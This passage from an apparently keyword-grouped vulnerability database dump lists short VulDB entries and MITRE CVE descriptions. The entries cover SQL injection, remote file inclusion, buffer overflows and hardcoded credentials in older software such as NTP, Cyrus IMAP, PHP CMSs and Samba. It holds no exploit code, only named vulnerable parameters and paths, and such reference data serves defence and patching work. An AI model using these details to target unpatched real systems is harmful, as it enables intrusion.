15487| [11630] Python 2.6.8/2.7.5/3.3.2 nntplib readline denial of service
15488| [60183] Instantphp lknSupport Search Module cross site scripting
15489| [59298] Instantphp Jobs Pro 1.6.4 search_jobs.html sql injection
15490| [58483] CMU Cyrus IMAP Server up to 2.4.4 nntpd.c split_wildmats memory corruption
15491| [56769] IBM WebSphere Application Server up to 6.1.0.10 getACRWorkElementPtr denial of service
15492| [5339] WebMaster Solutions WmsCms 2.0 printpage.asp Eingabe sql injection
15493| [52232] PaymentProcessorScript PPScript shop.htm sql injection
15494| [51585] TYPO3 mjseventpro 0.2.1 sql injection
15495| [4078] Sun Solaris NTP Mode 7 Request denial of service
15496| [48235] ntp up to 4.2.x ntp_crypto.c crypto_recv memory corruption
15497| [47706] ntp up to 4.2.4p7 ntpq/ntpq.c cookedprint memory corruption
15498| [45910] Goople CMS 1.8.2 frontpage.php sql injection
15499| [45837] Goople CMS up to 1.8.2 frontpage.php sql injection
15500| [45794] NTP up to 4.2.4p4 EVP_VerifyFinal memory corruption
15501| [43343] Alain Barbet Filesys Smbclientparser up to 2.6 SMB Server filesys::smbclientparser memory corruption
15502| [41522] XOOPS Tutoriais Module up to 2.1b printpage.php sql injection
15503| [40320] Agares Media phpAutoVideo 2.21 frontpage_right.php privilege escalation
15504| [40250] Agares Media Arcadem 2.04 frontpage_right.php privilege escalation
15505| [36948] Johntp adsense-deluxe 0.x on WordPress adsense-deluxe.php cross site request forgery
15506| [35867] Free Php Scripts Free Image Hosting up to 2.0 Login frontpage.php privilege escalation
15507| [34928] HP Mercury Performance Center Agent 8.0 magentproc.exe memory corruption
15508| [34504] Uberghey CMS 0.3.1 frontpage.php privilege escalation
15509| [32641] Dan Jensen Travelsized CMS up to 0.4 frontpage.php privilege escalation
15510|
15511| MITRE CVE - https://cve.mitre.org:
15512| [CVE-2013-1997] Multiple buffer overflows in X.org libX11 1.5.99.901 (1.6 RC1) and earlier allow X servers to cause a denial of service (crash) and possibly execute arbitrary code via crafted length or index values to the (1) XAllocColorCells, (2) _XkbReadGetDeviceInfoReply, (3) _XkbReadGeomShapes, (4) _XkbReadGetGeometryReply, (5) _XkbReadKeySyms, (6) _XkbReadKeyActions, (7) _XkbReadKeyBehaviors, (8) _XkbReadModifierMap, (9) _XkbReadExplicitComponents, (10) _XkbReadVirtualModMap, (11) _XkbReadGetNamesReply, (12) _XkbReadGetMapReply, (13) _XimXGetReadData, (14) XListFonts, (15) XListExtensions, and (16) XGetFontPath functions.
15513| [CVE-2013-1984] Multiple integer overflows in X.org libXi 1.7.1 and earlier allow X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the (1) XGetDeviceControl, (2) XGetFeedbackControl, (3) XGetDeviceDontPropagateList, (4) XGetDeviceMotionEvents, (5) XIGetProperty, (6) XIGetSelectedEvents, (7) XGetDeviceProperties, and (8) XListInputDevices functions.
15514| [CVE-2012-4258] Multiple SQL injection vulnerabilities in MYRE Real Estate Software (2012 Q2) allow remote attackers to execute arbitrary SQL commands via the (1) link_idd parameter to 1_mobile/listings.php or (2) userid parameter to 1_mobile/agentprofile.php.
15515| [CVE-2012-3375] The epoll_ctl system call in fs/eventpoll.c in the Linux kernel before 3.2.24 does not properly handle ELOOP errors in EPOLL_CTL_ADD operations, which allows local users to cause a denial of service (file-descriptor consumption and system crash) via a crafted application that attempts to create a circular epoll dependency. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1083.
15516| [CVE-2012-1288] The UTC Fire & Security GE-MC100-NTP/GPS-ZB Master Clock device uses hardcoded credentials for an administrative account, which makes it easier for remote attackers to obtain access via an HTTP session.
15517| [CVE-2011-4859] The Schneider Electric Quantum Ethernet Module, as used in the Quantum 140NOE771* and 140CPU65* modules, the Premium TSXETY* and TSXP57* modules, the M340 BMXNOE01* and BMXP3420* modules, and the STB DIO STBNIC2212 and STBNIP2* modules, uses hardcoded passwords for the (1) AUTCSE, (2) AUT_CSE, (3) fdrusers, (4) ftpuser, (5) loader, (6) nic2212, (7) nimrohs2212, (8) nip2212, (9) noe77111_v500, (10) ntpupdate, (11) pcfactory, (12) sysdiag, (13) target, (14) test, (15) USER, and (16) webserver accounts, which makes it easier for remote attackers to obtain access via the (a) TELNET, (b) Windriver Debug, or (c) FTP port.
15518| [CVE-2011-3208] Stack-based buffer overflow in the split_wildmats function in nntpd.c in nntpd in Cyrus IMAP Server before 2.3.17 and 2.4.x before 2.4.11 allows remote attackers to execute arbitrary code via a crafted NNTP command.
15519| [CVE-2011-2724] The check_mtab function in client/mount.cifs.c in mount.cifs in smbfs in Samba 3.5.10 and earlier does not properly verify that the (1) device name and (2) mountpoint strings are composed of valid characters, which allows local users to cause a denial of service (mtab corruption) via a crafted string. NOTE: this vulnerability exists because of an incorrect fix for CVE-2010-0547.
15520| [CVE-2011-1313] Double free vulnerability in IBM WebSphere Application Server (WAS) 6.1.0.x before 6.1.0.35 and 7.x before 7.0.0.15 allows remote backend IIOP servers to cause a denial of service (S0C4 ABEND and storage corruption) by rejecting IIOP requests at opportunistic time instants, as demonstrated by requests associated with an ORB_Request::getACRWorkElementPtr function call.
15521| [CVE-2011-1082] fs/eventpoll.c in the Linux kernel before 2.6.38 places epoll file descriptors within other epoll data structures without properly checking for (1) closed loops or (2) deep chains, which allows local users to cause a denial of service (deadlock or stack memory consumption) via a crafted application that makes epoll_create and epoll_ctl system calls.
15522| [CVE-2010-4539] The walk function in repos.c in the mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.15, allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) via vectors that trigger the walking of SVNParentPath collections.
15523| [CVE-2010-3879] FUSE, possibly 2.8.5 and earlier, allows local users to create mtab entries with arbitrary pathnames, and consequently unmount any filesystem, via a symlink attack on the parent directory of the mountpoint of a FUSE filesystem, a different vulnerability than CVE-2010-0789.
15524| [CVE-2010-2896] IBM FileNet Content Manager (CM) 4.0.0, 4.0.1, 4.5.0, and 4.5.1 before FP4 does not properly manage the InheritParentPermissions setting during an upgrade from 3.x, which might allow attackers to bypass intended folder permissions via unspecified vectors.
15525| [CVE-2010-2121] Opera 9.52 allows remote attackers to cause a denial of service (resource consumption) via JavaScript code containing an infinite loop that creates IFRAME elements for invalid (1) news:// or (2) nntp:// URIs.
15526| [CVE-2010-2119] Microsoft Internet Explorer 6.0.2900.2180 allows remote attackers to cause a denial of service (resource consumption) via JavaScript code containing an infinite loop that creates IFRAME elements for invalid nntp:// URIs.
15527| [CVE-2010-2117] Mozilla Firefox 3.0.19, 3.5.x, and 3.6.x allows remote attackers to cause a denial of service (resource consumption) via JavaScript code containing an infinite loop that creates IFRAME elements for invalid (1) news:// or (2) nntp:// URIs.
15528| [CVE-2010-1721] SQL injection vulnerability in the Intellectual Property (aka IProperty or com_iproperty) component 1.5.3 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in an agentproperties action to index.php.
15529| [CVE-2010-1708] Multiple SQL injection vulnerabilities in agentadmin.php in Free Realty allow remote attackers to execute arbitrary SQL commands via the (1) login field (aka agentname parameter) or (2) password field (aka agentpassword parameter).
15530| [CVE-2010-1078] SQL injection vulnerability in archive.php in XlentProjects SphereCMS 1.1 alpha allows remote attackers to execute arbitrary SQL commands via encoded null bytes ("%00") in the view parameter, which bypasses a protection mechanism.
15531| [CVE-2010-0790] sutil/ncpumount.c in ncpumount in ncpfs 2.2.6 produces certain detailed error messages about the results of privileged file-access attempts, which allows local users to determine the existence of arbitrary files via the mountpoint name.
15532| [CVE-2010-0789] fusermount in FUSE before 2.7.5, and 2.8.x before 2.8.2, allows local users to unmount an arbitrary FUSE filesystem share via a symlink attack on a mountpoint.
15533| [CVE-2010-0787] client/mount.cifs.c in mount.cifs in smbfs in Samba 3.0.22, 3.0.28a, 3.2.3, 3.3.2, 3.4.0, and 3.4.5 allows local users to mount a CIFS share on an arbitrary mountpoint, and gain privileges, via a symlink attack on the mountpoint directory file.
15534| [CVE-2010-0547] client/mount.cifs.c in mount.cifs in smbfs in Samba 3.4.5 and earlier does not verify that the (1) device name and (2) mountpoint strings are composed of valid characters, which allows local users to cause a denial of service (mtab corruption) via a crafted string.
15535| [CVE-2010-0340] SQL injection vulnerability in the MJS Event Pro (mjseventpro) extension 0.2.1 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
15536| [CVE-2010-0296] The encode_name macro in misc/mntent_r.c in the GNU C Library (aka glibc or libc6) 2.11.1 and earlier, as used by ncpmount and mount.cifs, does not properly handle newline characters in mountpoint names, which allows local users to cause a denial of service (mtab corruption), or possibly modify mount options and gain privileges, via a crafted mount request.
15537| [CVE-2010-0293] The client logging functionality in chronyd in Chrony before 1.23.1 does not restrict the amount of memory used for storage of client information, which allows remote attackers to cause a denial of service (memory consumption) via spoofed (1) NTP or (2) cmdmon packets.
15538| [CVE-2010-0182] The XMLDocument::load function in Mozilla Firefox before 3.5.9 and 3.6.x before 3.6.2, Thunderbird before 3.0.4, and SeaMonkey before 2.0.4 does not perform the expected nsIContentPolicy checks during loading of content by XML documents, which allows attackers to bypass intended access restrictions via crafted content.
15539| [CVE-2009-4724] SQL injection vulnerability in shop.htm in PaymentProcessorScript.net PPScript allows remote attackers to execute arbitrary SQL commands via the cid parameter.
15540| [CVE-2009-3562] Cross-site scripting (XSS) vulnerability in Xerver HTTP Server 4.32 allows remote attackers to inject arbitrary web script or HTML via the currentPath parameter in a chooseDirectory action.
15541| [CVE-2009-3561] Directory traversal vulnerability in Xerver HTTP Server 4.32 allows remote attackers to read arbitrary files via a full pathname with a drive letter in the currentPath parameter in a chooseDirectory action.
15542| [CVE-2009-2869] Unspecified vulnerability in Cisco IOS 12.2XNA, 12.2XNB, 12.2XNC, 12.2XND, 12.4MD, 12.4T, 12.4XZ, and 12.4YA allows remote attackers to cause a denial of service (device reload) via a crafted NTPv4 packet, aka Bug IDs CSCsu24505 and CSCsv75948.
15543| [CVE-2009-1252] Stack-based buffer overflow in the crypto_recv function in ntp_crypto.c in ntpd in NTP before 4.2.4p7 and 4.2.5 before 4.2.5p74, when OpenSSL and autokey are enabled, allows remote attackers to execute arbitrary code via a crafted packet containing an extension field.
15544| [CVE-2009-0159] Stack-based buffer overflow in the cookedprint function in ntpq/ntpq.c in ntpq in NTP before 4.2.4p7-RC2 allows remote NTP servers to execute arbitrary code via a crafted response.
15545| [CVE-2009-0121] SQL injection vulnerability in frontpage.php in Goople CMS 1.8.2 allows remote attackers to execute arbitrary SQL commands via the password parameter. NOTE: the provenance of this information is unknown
15546| [CVE-2009-0111] SQL injection vulnerability in frontpage.php in Goople CMS 1.8.2 and earlier allows remote attackers to execute arbitrary SQL commands via the username parameter.
15547| [CVE-2009-0021] NTP 4.2.4 before 4.2.4p5 and 4.2.5 before 4.2.5p150 does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.
15548| [CVE-2008-6982] Cross-site scripting (XSS) vulnerability in index.php in devalcms 1.4a allows remote attackers to inject arbitrary web script or HTML via the currentpath parameter.
15549| [CVE-2008-6865] SQL injection vulnerability in modules.php in the Sectionsnew module for PHP-Nuke allows remote attackers to execute arbitrary SQL commands via the artid parameter in a printpage action.
15550| [CVE-2008-6728] SQL injection vulnerability in the Sections module in PHP-Nuke, probably before 8.0, allows remote attackers to execute arbitrary SQL commands via the artid parameter in a printpage action to modules.php.
15551| [CVE-2008-6255] Multiple SQL injection vulnerabilities in vBulletin 3.7.4 allow remote authenticated administrators to execute arbitrary SQL commands via the (1) answer parameter to admincp/verify.php, (2) extension parameter in an edit action to admincp/attachmentpermission.php, and the (3) iperm parameter to admincp/image.php.
15552| [CVE-2008-5362] The DefineConstantPool action in the ActionScript 2 virtual machine in Adobe Flash Player 10.x before 10.0.12.36 and 9.x before 9.0.151.0, and Adobe AIR before 1.5, accepts an untrusted input value for a "constant count," which allows remote attackers to read sensitive data from process memory via a crafted PDF file.
15553| [CVE-2008-5361] The ActionScript 2 virtual machine in Adobe Flash Player 10.x before 10.0.12.36 and 9.x before 9.0.151.0, and Adobe AIR before 1.5, does not verify a member element's size when performing (1) DefineConstantPool, (2) ActionJump, (3) ActionPush, (4) ActionTry, and unspecified other actions, which allows remote attackers to read sensitive data from process memory via a crafted PDF file.
15554| [CVE-2008-5066] PHP remote file inclusion vulnerability in upload/admin/frontpage_right.php in Agares Media ThemeSiteScript 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.
15555| [CVE-2008-4253] The FlexGrid ActiveX control in Microsoft Visual Basic 6.0, Visual FoxPro 8.0 SP1 and 9.0 SP1 and SP2, Office FrontPage 2002 SP3, and Office Project 2003 SP3 does not properly handle errors during access to incorrectly initialized objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to corruption of the "system state," aka "FlexGrid Control Memory Corruption Vulnerability."
15556| [CVE-2008-4174] Multiple cross-site scripting (XSS) vulnerabilities in index.php in Dynamic MP3 Lister 2.0.1 allow remote attackers to inject arbitrary web script or HTML via the (1) currentpath, (2) invert, (3) search, and (4) sort parameters.
15557| [CVE-2008-3970] pam_mount 0.10 through 0.45, when luserconf is enabled, does not verify mountpoint and source ownership before mounting a user-defined volume, which allows local users to bypass intended access restrictions via a local mount.
15558| [CVE-2008-3285] The Filesys::SmbClientParser module 2.7 and earlier for Perl allows remote SMB servers to execute arbitrary code via a folder name containing shell metacharacters.
15559| [CVE-2008-2931] The do_change_type function in fs/namespace.c in the Linux kernel before 2.6.22 does not verify that the caller has the CAP_SYS_ADMIN capability, which allows local users to gain privileges or cause a denial of service by modifying the properties of a mountpoint.
15560| [CVE-2008-2913] Directory traversal vulnerability in func.php in Devalcms 1.4a, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the currentpath parameter, in conjunction with certain ... (triple dot) and ..... sequences in the currentfile parameter, to index.php.
15561| [CVE-2008-2751] Multiple cross-site scripting (XSS) vulnerabilities in the Glassfish webadmin interface in Sun Java System Application Server 9.1_01 allow remote attackers to inject arbitrary web script or HTML via the (1) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:jndiProp:JndiNew, (2) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:resTypeProp:resType, (3) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:factoryClassProp:factoryClass, or (4) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:descProp:desc parameter to (a) resourceNode/customResourceNew.jsf
15562| [CVE-2008-2649] Multiple PHP remote file inclusion vulnerabilities in DesktopOnNet 3 Beta allow remote attackers to execute arbitrary PHP code via a URL in the app_path parameter to (1) don3_requiem.don3app/don3_requiem.php and (2) frontpage.don3app/frontpage.php.
15563| [CVE-2008-1351] SQL injection vulnerability in the Tutorials 2.1b module for XOOPS allows remote attackers to execute arbitrary SQL commands via the tid parameter to printpage.php, which is accessible directly or through a printpage action to index.php.
15564| [CVE-2008-1053] Multiple SQL injection vulnerabilities in the Kose_Yazilari module for PHP-Nuke allow remote attackers to execute arbitrary SQL commands via the artid parameter in a (1) viewarticle or (2) printpage action to modules.php.
15565| [CVE-2008-0435] Directory traversal vulnerability in index.php in OZJournals 2.1.1 allows remote attackers to read portions of arbitrary files via a .. (dot dot) in the id parameter in a printpreview action.
15566| [CVE-2008-0074] Unspecified vulnerability in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows local users to gain privileges via unknown vectors related to file change notifications in the TPRoot, NNTPFile\Root, or WWWRoot folders.
15567| [CVE-2007-6614] PHP remote file inclusion vulnerability in admin/frontpage_right.php in Agares Media phpAutoVideo 2.21 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter, a related issue to CVE-2007-6542.
15568| [CVE-2007-6542] PHP remote file inclusion vulnerability in admin/frontpage_right.php in Arcadem LE 2.04 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.
15569| [CVE-2007-6499] Unspecified vulnerability in Hosting Controller 6.1 Hot fix 3.3 and earlier allows remote authenticated users to uninstall the FrontPage extensions of an arbitrary account via a request to fp2002/UNINSTAL.asp with a "host id (IIS) value."
15570| [CVE-2007-6455] Multiple cross-site scripting (XSS) vulnerabilities in index.php in Mambo 4.6.2 allow remote attackers to inject arbitrary web script or HTML via the (1) Itemid parameter in a com_frontpage option and the (2) option parameter.
15571| [CVE-2007-4841] Mozilla Firefox before 2.0.0.8, Thunderbird before 2.0.0.8, and SeaMonkey before 1.1.5 allows remote attackers to execute arbitrary commands via a (1) mailto, (2) nntp, (3) news, or (4) snews URI with invalid "%" encoding, related to improper file type handling on Windows XP with Internet Explorer 7 installed, a variant of CVE-2007-3845.
15572| [CVE-2007-4042] Multiple argument injection vulnerabilities in Netscape Navigator 9 allow remote attackers to execute arbitrary commands via a NULL byte (%00) and shell metacharacters in a (1) mailto, (2) nntp, (3) news, (4) snews, or (5) telnet URI, a similar issue to CVE-2007-3670.
15573| [CVE-2007-4041] Multiple argument injection vulnerabilities in Mozilla Firefox 2.0.0.5 and 3.0alpha allow remote attackers to execute arbitrary commands via a NULL byte (%00) and shell metacharacters in a (1) mailto, (2) nntp, (3) news, (4) snews, or (5) telnet URI, a similar issue to CVE-2007-3670.
15574| [CVE-2007-3897] Heap-based buffer overflow in Microsoft Outlook Express 6 and earlier, and Windows Mail for Vista, allows remote Network News Transfer Protocol (NNTP) servers to execute arbitrary code via long NNTP responses that trigger memory corruption.
15575| [CVE-2007-3109] The CERN Image Map Dispatcher (htimage.exe) in Microsoft FrontPage allows remote attackers to determine the existence, and possibly partial contents, of arbitrary files under the web root via a relative pathname in the PATH_INFO.
15576| [CVE-2007-1715] PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: the forgot_pass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps CVE-2006-5763.
15577| [CVE-2007-1560] The clientProcessRequest() function in src/client_side.c in Squid 2.6 before 2.6.STABLE12 allows remote attackers to cause a denial of service (daemon crash) via crafted TRACE requests that trigger an assertion error.
15578| [CVE-2007-0604] Cross-site scripting (XSS) vulnerability in Movable Type (MT) before 3.34 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the MTCommentPreviewIsStatic tag, which can open the "comment entry screen," a different vulnerability than CVE-2007-0231.
15579| [CVE-2007-0446] Stack-based buffer overflow in magentproc.exe for Hewlett-Packard Mercury LoadRunner Agent 8.0 and 8.1, Performance Center Agent 8.0 and 8.1, and Monitor over Firewall 8.1 allows remote attackers to execute arbitrary code via a packet with a long server_ip_name field to TCP port 54345, which triggers the overflow in mchan.dll.
15580| [CVE-2007-0359] PHP remote file inclusion vulnerability in frontpage.php in Uberghey CMS 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the setup_folder parameter.
15581| [CVE-2006-7160] The Sandbox.sys driver in Outpost Firewall PRO 4.0, and possibly earlier versions, does not validate arguments to hooked SSDT functions, which allows local users to cause a denial of service (crash) via invalid arguments to the (1) NtAssignProcessToJobObject,, (2) NtCreateKey, (3) NtCreateThread, (4) NtDeleteFile, (5) NtLoadDriver, (6) NtOpenProcess, (7) NtProtectVirtualMemory, (8) NtReplaceKey, (9) NtTerminateProcess, (10) NtTerminateThread, (11) NtUnloadDriver, and (12) NtWriteVirtualMemory functions.
15582| [CVE-2006-6187] Multiple SQL injection vulnerabilities in ClickTech Click Gallery allow remote attackers to execute arbitrary SQL commands via the (1) currentpage or (2) gallery_id parameter to (a) view_gallery.asp, the (3) image_id parameter to (b) download_image.asp, the currentpage or (5) orderby parameter to (c) gallery.asp, or the currentpage parameter to (d) view_recent.asp.
15583| [CVE-2006-5864] Stack-based buffer overflow in the ps_gettext function in ps.c for GNU gv 3.6.2, and possibly earlier versions, allows user-assisted attackers to execute arbitrary code via a PostScript (PS) file with certain headers that contain long comments, as demonstrated using the (1) DocumentMedia, (2) DocumentPaperSizes, and possibly (3) PageMedia and (4) PaperSize headers. NOTE: this issue can be exploited through other products that use gv such as evince.
15584| [CVE-2006-5182] PHP remote file inclusion vulnerability in frontpage.php in Dan Jensen Travelsized CMS 0.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the setup_folder parameter.
15585| [CVE-2006-5020] Multiple PHP remote file inclusion vulnerabilities in SolidState 0.4 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the base_path parameter in manager/pages/ scripts including (1) AccountsPage.class.php, (2) AddInvoicePage.class.php, (3) AddIPAddressPage.class.php, (4) AddPaymentPage.class.php, (5) AddTaxRulePage.class.php, (6) AssignDomainPage.class.php, (7) AssignHostingPage.class.php, (8) AssignProductPage.class.php, (9) BillingPage.class.php, (10) BillingPaymentPage.class.php, (11) BrowseAccountsPage.class.php, (12) BrowseInvoicesPage.class.php, (13) ConfigureEditUserPage.class.php, (14) ConfigureNewUserPage.class.php, (15) ConfigureNewUserReceiptPage.class.php, (16) ConfigureUsersPage.class.php, (17) DeleteAccountPage.class.php, (18) DeleteDomainServicePage.class.php, (19) DeleteHostingServicePage.class.php, (20) DeleteInvoicePage.class.php, (21) DeleteProductPage.class.php, (22) DeleteServerPage.class.php, (23) DomainServicesPage.class.php, (24) DomainsPage.class.php, (25) EditAccountPage.class.php, (26) EditDomainPage.class.php, (27) EditDomainServicePage.class.php, (28) EditHostingServicePage.class.php, (29) EditPaymentPage.class.php, (30) EditProductPage.class.php, (31) EditServerPage.class.php, (32) EmailInvoicePage.class.php, (33) ExecuteOrderPage.class.php, (34) ExpiredDomainsPage.class.php, (35) FulfilledOrdersPage.class.php, (36) GenerateInvoicesPage.class.php, (37) HomePage.class.php, (38) InactiveAccountsPage.class.php, (39) IPManagerPage.class.php, (40) LoginPage.class.php, (41) LogPage.class.php, (42) ModulesPage.class.php, (43) NewAccountPage.class.php, (44) NewDomainServicePage.class.php, (45) NewProductPage.class.php, (46) OutstandingInvoicesPage.class.php, (47) PendingAccountsPage.class.php, (48) PendingOrdersPage.class.php, (49) PrintInvoicePage.class.php, (50) ProductsPage.class.php, (51) RegisterDomainPage.class.php, (52) RegisteredDomainsPage.class.php, (53) ServersPage.class.php, (54) ServicesHostingServicesPage.class.php, (55) ServicesNewHostingPage.class.php, (56) ServicesPage.class.php, (57) ServicesWebHostingPage.class.php, (58) SettingsPage.class.php, (59) TaxesPage.class.php, (60) TransferDomainPage.class.php, (61) ViewAccountPage.class.php, (62) ViewDomainServicePage.class.php, (63) ViewHostingServicePage.class.php, (64) ViewInvoicePage.class.php, (65) ViewLogMessagePage.class.php, (66) ViewOrderPage.class.php, (67) ViewProductPage.class.php, (68) ViewServerPage.class.php, (69) WelcomeEmailPage.class.php
15586| [CVE-2006-4286] ** DISPUTED ** PHP remote file inclusion vulnerability in contentpublisher.php in the contentpublisher component (com_contentpublisher) for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter. NOTE: this issue has been disputed by third parties who state that contentpublisher.php protects against direct request in the most recent version. The original researcher is known to be frequently inaccurate.
15587| [CVE-2006-4103] PHP remote file inclusion vulnerability in article-raw.php in Jason Alexander phNNTP 1.3 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the file_newsportal parameter.
15588| [CVE-2006-4055] Multiple PHP remote file inclusion vulnerabilities in Olaf Noehring The Search Engine Project (TSEP) 0.942 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the tsep_config[absPath] parameter to (1) include/colorswitch.php, (2) contentimages.class.php, (3) ipfunctions.php, (4) configfunctions.php, (5) printpagedetails.php, or (6) log.class.php. NOTE: the copyright.php vector is already covered by CVE-2006-3993.
15589| [CVE-2006-3628] Multiple format string vulnerabilities in Wireshark (aka Ethereal) 0.10.x to 0.99.0 allow remote attackers to cause a denial of service and possibly execute arbitrary code via the (1) ANSI MAP, (2) Checkpoint FW-1, (3) MQ, (4) XML, and (5) NTP dissectors.
15590| [CVE-2006-3026] Multiple cross-site scripting (XSS) vulnerabilities in ClickGallery 5.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) gallery_id parameter in gallery.asp and (2) parentcurrentpage parameter in view_gallery.asp.
15591| [CVE-2006-2490] Multiple cross-site scripting (XSS) vulnerabilities in Mobotix IP Network Cameras M1 1.9.4.7 and M10 2.0.5.2, and other versions before 2.2.3.18 for M10/D10 and 3.0.3.31 for M22, allow remote attackers to inject arbitrary web script or HTML via URL-encoded values in (1) the query string to help/help, (2) the get_image_info_abspath parameter to control/eventplayer, and (3) the source_ip parameter to events.tar.
15592| [CVE-2006-1662] The frontpage option in Limbo CMS 1.0.4.2 and 1.0.4.1 allows remote attackers to execute arbitrary PHP commands via the Itemid parameter in index.php.
15593| [CVE-2006-1437] UPOINT @1 Event Publisher stores sensitive information under the web document root with insufifcient access control, which allows remote attackers to read private comments via a direct request to eventpublisher.txt.
15594| [CVE-2006-1436] Multiple cross-site scripting (XSS) vulnerabilities in UPOINT @1 Event Publisher allow remote attackers to inject arbitrary web script or HTML via the (1) Event, (2) Description, (3) Time, (4) Website, and (5) Public Remarks fields to (a) eventpublisher_admin.htm and (b) eventpublisher_usersubmit.htm.
15595| [CVE-2006-0375] Advantage Century Telecommunication (ACT) P202S IP Phone 1.01.21 running firmware 1.1.21 on VxWorks uses a hardcoded Network Time Protocol (NTP) server in Taiwan, which could allow remote attackers to provide false time information, block access to time information, or conduct other attacks.
15596| [CVE-2006-0015] Cross-site scripting (XSS) vulnerability in _vti_bin/_vti_adm/fpadmdll.dll in Microsoft FrontPage Server Extensions 2002 and SharePoint Team Services allows remote attackers to inject arbitrary web script or HTML, then leverage the attack to execute arbitrary programs or create new accounts, via the (1) operation, (2) command, and (3) name parameters.
15597| [CVE-2005-4716] Hitachi TP1/Server Base and TP1/NET/Library 2 on IBM AIX allow remote attackers to (1) cause a denial of service (OpenTP1 system outage) via invalid data to a port used by a system-server process, and (2) cause a denial of service (process failure) via invalid data to a port used by any of certain other processes.
15598| [CVE-2005-3356] The mq_open system call in Linux kernel 2.6.9, in certain situations, can decrement a counter twice ("double decrement") as a result of multiple calls to the mntput function when the dentry_open function call fails, which allows local users to cause a denial of service (panic) via unspecified attack vectors.
15599| [CVE-2005-3120] Stack-based buffer overflow in the HTrjis function in Lynx 2.8.6 and earlier allows remote NNTP servers to execute arbitrary code via certain article headers containing Asian characters that cause Lynx to add extra escape (ESC) characters.
15600| [CVE-2005-2658] Buffer overflow in utility.cpp in Turquoise SuperStat (turqstat) 2.2.4 and earlier might allow remote NNTP servers to execute arbitrary code via a date with a long month.
15601| [CVE-2005-2428] Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
15602| [CVE-2005-1363] Multiple SQL injection vulnerabilities in MetaCart 2.0 for PayFlow allow remote attackers to execute arbitrary commands via (1) intCatalogID, (2) strSubCatalogID, or (3) strSubCatalog_NAME parameter to productsByCategory.asp, (4) curCatalogID, (5) strSubCatalog_NAME, (6) intCatalogID, or (7) page parameter to productsByCategory.asp or (8) intProdID parameter to product.asp.
15603| [CVE-2005-1362] Multiple SQL injection vulnerabilities in MetaCart 2.0 for Paypal allow remote attackers to execute arbitrary SQL commands via the (1) intProdID parameter to product.asp, (2) intCatalogID or (3) strSubCatalogID parameters to productsByCategory.asp, (4) chkText, (5) strText, (6) chkPrice, (7) intPrice, (8) chkCat, or (9) strCat parameters to searchAction.asp.
15604| [CVE-2005-1361] Multiple SQL injection vulnerabilities in MetaCart e-Shop 8.0 allow remote attackers to execute arbitrary SQL commands via the (1) intProdID parameter in product.asp or (2) strCatalog_NAME parameter to productsByCategory.asp.
15605| [CVE-2005-1213] Stack-based buffer overflow in the news reader for Microsoft Outlook Express (MSOE.DLL) 5.5 SP2, 6, and 6 SP1 allows remote malicious NNTP servers to execute arbitrary code via a LIST response with a long second field.
15606| [CVE-2005-0807] Multiple buffer overflows in Cain & Abel before 2.67 allow remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via (1) an IKE packet with a large ID field that is not properly handled by the PSK sniffer filter, (2) the HTTP sniffer filter, or the (3) POP3, (4) SMTP, (5) IMAP, (6) NNTP, or (7) TDS sniffer filters.
15607| [CVE-2005-0785] Cross-site scripting (XSS) vulnerability in usersrecentposts in YaBB 2.0 rc1 allows remote attackers to inject arbitrary web script or HTML via the username parameter.
15608| [CVE-2005-0741] Cross-site scripting (XSS) vulnerability in YaBB.pl for YaBB 2.0 RC1 allows remote attackers to inject arbitrary web script or HTML via the username parameter in a usersrecentposts action.
15609| [CVE-2005-0736] Integer overflow in sys_epoll_wait in eventpoll.c for Linux kernel 2.6 to 2.6.11 allows local users to overwrite kernel memory via a large number of events.
15610| [CVE-2005-0719] Unknown vulnerability in the systems message queue in HP Tru64 Unix 4.0F PK8 through 5.1B-2/PK4 allows local users to cause a denial of service (process crash) for processes such as nfsstat, pfstat, arp, ogated, rarpd, route, sendmail, srconfig, strsetup, trpt, netstat, and xntpd.
15611| [CVE-2005-0101] Buffer overflow in the socket_getline function in Newspost 2.1.1 and earlier allows remote malicious NNTP servers to execute arbitrary code via a long string without a newline character.
15612| [CVE-2004-2068] fetchnews in leafnode 1.9.47 and earlier allows remote attackers to cause a denial of service (process hang) via an emptry NNTP news article with missing mandatory headers.
